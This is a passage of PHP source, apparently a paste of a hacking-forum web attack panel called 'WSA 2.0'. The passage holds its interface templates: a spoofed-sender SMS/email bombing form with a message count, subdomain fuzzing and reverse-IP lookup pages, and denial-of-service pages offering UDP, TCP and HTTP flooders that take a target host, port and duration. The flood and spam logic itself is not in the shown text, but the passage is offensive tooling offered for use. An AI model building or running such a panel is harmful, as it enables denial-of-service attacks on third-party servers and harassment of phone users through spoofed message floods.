  703. .'                    <option value="@tmomail.net">T-Mobile</option>'
  704. .'                    <option value="@msg.telus.com">Telus</option>'
  705. .'                    <option value="@txt.att.net">Tracfone</option>'
  706. .'                    <option value="@tms.suncom.com">Triton</option>'
  707. .'                    <option value="@utext.com">Unicel</option>'
  708. .'                    <option value="@email.uscc.net">US Cellular</option>'
  709. .'                    <option value="@txt.bell.ca">Solo Mobile</option>'
  710. .'                    <option value="@messaging.sprintpcs.com">Sprint</option>'
  711. .'                    <option value="@tms.suncom.com">Sumcom</option>'
  712. .'                    <option value="@mobile.surewest.com">Surewest Communicaitons</option>'
  713. .'                    <option value="@tmomail.net">T-Mobile</option>'
  714. .'                    <option value="@msg.telus.com">Telus</option>'
  715. .'                    <option value="@tms.suncom.com">Triton</option>'
  716. .'                    <option value="@utext.com">Unicel</option>'
  717. .'                    <option value="@email.uscc.net">US Cellular</option>'
  718. .'                    <option value="@uswestdatamail.com">US West</option>'
  719. .'                    <option value="@vtext.com">Verizon</option>'
  720. .'                    <option value="@vmobl.com">Virgin Mobile</option>'
  721. .'                    <option value="@vmobile.ca">Virgin Mobile Canada</option>'
  722. .'                    <option value="@sms.wcc.net">West Central Wireless</option>'
  723. .'                    <option value="@cellularonewest.com">Western Wireless</option>'
  724. .'                </select><br>'
  725. .'                Sender<br>'
  726. .'                <input type="text" name="p2" placeholder="Spoof email" value="" /><br>'
  727. .'                Amount<br>'
  728. .'                <input type="text" name="p3" placeholder="100" value="" /><br>'
  729. .'                Subject<br>'
  730. .'                <input type="text" name="p4" placeholder="Subject" value="" /><br>'
  731. .'                Message<br>'
  732. .'                <textarea name="p5"></textarea><br>'
  733. .'                <input type="submit" value=">> Send <<"/><br>'
  734. .'            </form>'
  735. .'        <div class="results">';
  736.     private $resolveHTML = '<!-- content -->'
  737. .'    <div class="activepage">'
  738. .'        <div class="activetitle">'
  739. .'            <h1>Subdomain scan</h1>'
  740. .'        </div>'
  741. .'        <div class="activecontent">'
  742. .''
  743. .'            <form onSubmit="g(this.a.value,this.p1.value,null,null,null,null); return false;">'
  744. .'                <input type="hidden" name="a" value="3" />'
  745. .'                <span style="margin-top:20px;">Domain Fuzzing</span>'
  746. .'                <p>Enter a top level domain</p>'
  747. .'                <input type="text" name="p1"/>'
  748. .'                <input type="submit" value=">>"/>'
  749. .'            </form>'
  750. .'        <div class="results">';
  751.     private $reverseHTML = '<!-- content -->'
  752. .'    <div class="activepage">'
  753. .'        <div class="activetitle">'
  754. .'            <h1>Reverse IP Tool</h1>'
  755. .'        </div>'
  756. .'        <div class="activecontent">'
  757. .''
  758. .''
  759. .'            <form onSubmit="g(this.a.value,this.p1.value,null,null,null,null); return false;">'
  760. .'                <input type="hidden" name="a" value="4" />'
  761. .''
  762. .'                <span style="margin-top:20px;">Servers IP Lookup</span>'
  763. .'                <p>Enter a top level domain</p>'
  764. .'                <input type="text" name="p1"/>'
  765. .'                <input type="submit" value=">>"/>'
  766. .'            </form>'
  767. .'        <div class="results">';
  768.     private $tcpHTML = '<!-- content -->'
  769. .'    <div class="activepage">'
  770. .'        <div class="activetitle">'
  771. .'            <h1>Denial of Service</h1>'
  772. .'        </div>'
  773. .'        <div class="activecontent">'
  774. .'            <span>Change method</span>'
  775. .'            <br>'
  776. .'            <br>'
  777. .'            <form onSubmit="g(this.a.value,this.p1.value,null,null,null,null);return false;">'
  778. .'                <input type="hidden" name="a" value="5" />'
  779. .'                <select size="1" name="p1">'
  780. .'                    <option value="udp">UDP Flood</option>'
  781. .'                    <option value="tcp">TCP Flood</option>'
  782. .'                    <option value="http">HTTP Flood</option>'
  783. .'                </select><br>'
  784. .'                <input type="submit" value=">>" /><br>'
  785. .'            </form>'
  786. .'            <form onSubmit="g(this.a.value,this.p1.value,this.p2.value,this.p3.value,this.p4.value,null);return false;">'
  787. .''
  788. .'                <span>TCP Flooder</span><br>'
  789. .''
  790. .'                Host<br>'
  791. .''
  792. .'                <input type="text" name="p2" ><br>'
  793. .''
  794. .'                Port<br>'
  795. .''
  796. .'                <input type="text" name="p3" value="" ><br>'
  797. .''
  798. .'                Time<br>'
  799. .'                <input type="text" name="p4"><br>'
  800. .'                <input type="hidden" name="a" value="5" />'
  801. .'                <input type="hidden" name="p1" value="tcp" />'
  802. .'                <input type="submit" value=">>" /><br>'
  803. .'            </form>'
  804. .'        <div class="results">';
  805.     private $udpHTML = '<!-- content -->'
  806. .'    <div class="activepage">'
  807. .'        <div class="activetitle">'
  808. .'            <h1>Denial of Service</h1>'
  809. .'        </div>'
  810. .'        <div class="activecontent">'
  811. .'            <span>Change method</span>'
  812. .'            <br>'
  813. .'            <br>'
  814. .'            <form onSubmit="g(this.a.value,this.p1.value,null,null,null,null);return false;">'
  815. .'                <input type="hidden" name="a" value="5" />'
  816. .'                <select size="1" name="p1">'
  817. .'                    <option value="udp">UDP Flood</option>'
  818. .'                    <option value="tcp">TCP Flood</option>'
  819. .'                    <option value="http">HTTP Flood</option>'
  820. .'                </select><br>'
  821. .'                <input type="submit" value=">>" /><br>'
  822. .'            </form>'
  823. .'            <form onSubmit="g(this.a.value,this.p1.value,this.p2.value,this.p3.value,this.p4.value,null);return false;">'
  824. .''
  825. .'                <span>"UDP Flooder</span><br>'
  826. .''
  827. .'                Host<br>'
  828. .''
  829. .'                <input type="text" name="p2" ><br>'
  830. .''
  831. .'                Port<br>'
  832. .''
  833. .'                <input type="text" name="p3" value="" ><br>'
  834. .''
  835. .'                Time<br>'
  836. .'                <input type="text" name="p4"><br>'
  837. .'                <input type="hidden" name="a" value="5" />'
  838. .'                <input type="hidden" name="p1" value="udp" />'
  839. .'                <input type="submit" value=">>" /><br>'
  840. .'            </form>'
  841. .'        <div class="results">';
  842.     private $httpHTML = '<!-- content -->'
  843. .'    <div class="activepage">'
  844. .'        <div class="activetitle">'
  845. .'            <h1>Denial of Service</h1>'
  846. .'        </div>'
  847. .'        <div class="activecontent">'
  848. .'            <span>Change method</span>'
  849. .'            <br>'
  850. .'            <br>'
  851. .'            <form onSubmit="g(this.a.value,this.p1.value,null,null,null,null);return false;">'
  852. .'                <input type="hidden" name="a" value="5" />'
  853. .'                <select size="1" name="p1">'
  854. .'                    <option value="udp">UDP Flood</option>'
  855. .'                    <option value="tcp">TCP Flood</option>'
  856. .'                    <option value="http">HTTP Flood</option>'
  857. .'                </select><br>'
  858. .'                <input type="submit" value=">>" /><br>'
  859. .'            </form>'
  860. .'            <form onSubmit="g(this.a.value,this.p1.value,this.p2.value,null,this.p4.value,this.p5.value);return false;">'
  861. .''
  862. .'                <span>"HTTP Flooder</span><br>'
  863. .''
  864. .'                Host<br>'
  865. .''
  866. .'                <input type="text" name="p2" ><br>'
  867. .''
  868. .'                Page<br>'
  869. .''
  870. .'                <input type="text" name="p5" value="" ><br>'
  871. .''
  872. .'                Time<br>'
  873. .'                <input type="text" name="p4"><br>'
  874. .'                <input type="hidden" name="a" value="5" />'
  875. .'                <input type="hidden" name="p1" value="http" />'
  876. .'                <input type="submit" value=">>" /><br>'
  877. .'            </form>'
  878. .'        <div class="results">';
  879.     private $footerHTML = '<!-- footer -->'
  880. .'        </div></div>'
  881. .'        <div class="footerwrapper">'
  882. .'            <div class="footerLeft">'
  883. .''
  884. .'            </div>'
  885. .'            <div class="footerCenter">'
  886. .'              <center><span>WSA</span> 2.0 created by <a href="http://hackforums.net/member.php?action=profile&uid=2050895">allhellno</a> & <a href="http://hackforums.net/member.php?action=profile&uid=3091672">Helzor</a></center>'
  887. .'            </div>'
  888. .'            <div class="footerRight">'
  889. .''
  890. .'            </div>'
  891. .'        </div>'
  892. .'    </div>'
  893. .'</body>'
  894. .'</html>';
  895.  
  896.     private $chunks = array("header" => "headerHTML", "footer" => "footerHTML", "main" => "mainHTML", "mail" => "mailHTML", "resolve" => "resolveHTML", "reverse" => "reverseHTML", "tcp" => "tcpHTML", "udp" => "udpHTML", "http" => "httpHTML");
  897.  
  898.     protected function fetchHtml($chunk) {
  899.         if(array_key_exists($chunk, $this->chunks)) {
  900.             $html = $this->chunks[$chunk];
  901.             return $this->$html;
  902.         }
  903.         else {
  904.             return false;
  905.         }
  906.     }
  907.  
  908. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement